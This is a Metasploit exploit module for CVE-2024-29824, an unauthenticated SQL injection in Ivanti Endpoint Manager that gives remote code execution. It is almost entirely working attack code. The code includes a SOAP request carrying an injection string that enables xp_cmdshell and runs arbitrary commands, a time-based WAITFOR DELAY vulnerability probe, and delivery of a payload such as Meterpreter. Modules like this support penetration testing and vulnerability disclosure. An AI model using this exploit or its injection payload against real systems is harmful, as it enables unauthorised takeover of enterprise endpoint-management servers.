##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
class IvantiEpmRequestError < StandardError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
'Description' => %q{
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'James Horseman', # original PoC, analysis
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
[ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
[ 'CVE', '2024-29824']
],
'Platform' => ['windows'],
'Privileged' => true,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-05-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
# MS SQL logs will contain evidence of `xp_cmdshell` being used
# Fetch payload cannot be deleted while a Meterpreter session is active
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
]
)
end
def sqli_payload(cmd)
"';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
end
def xml_payload(sqli)
<<~XML
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5=#{sqli}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
XML
end
def soap_request(sqli, timeout = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'data' => xml_payload(sqli)
}, timeout)
raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res
res
end
def check
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
vprint_status("Baseline query elapsed time: #{elapsed1}")
_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
vprint_status("Delayed query elapsed time: #{elapsed2}")
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
return CheckCode::Vulnerable('SQLi executed')
else
return CheckCode::Safe('SQLi not executed')
end
rescue IvantiEpmRequestError => e
return CheckCode::Unknown(e.to_s)
end
def exploit
soap_request(sqli_payload(payload.encoded), 1)
rescue IvantiEpmRequestError
# Expecting no response if an interactive payload such as Meterpreter is used
end
end
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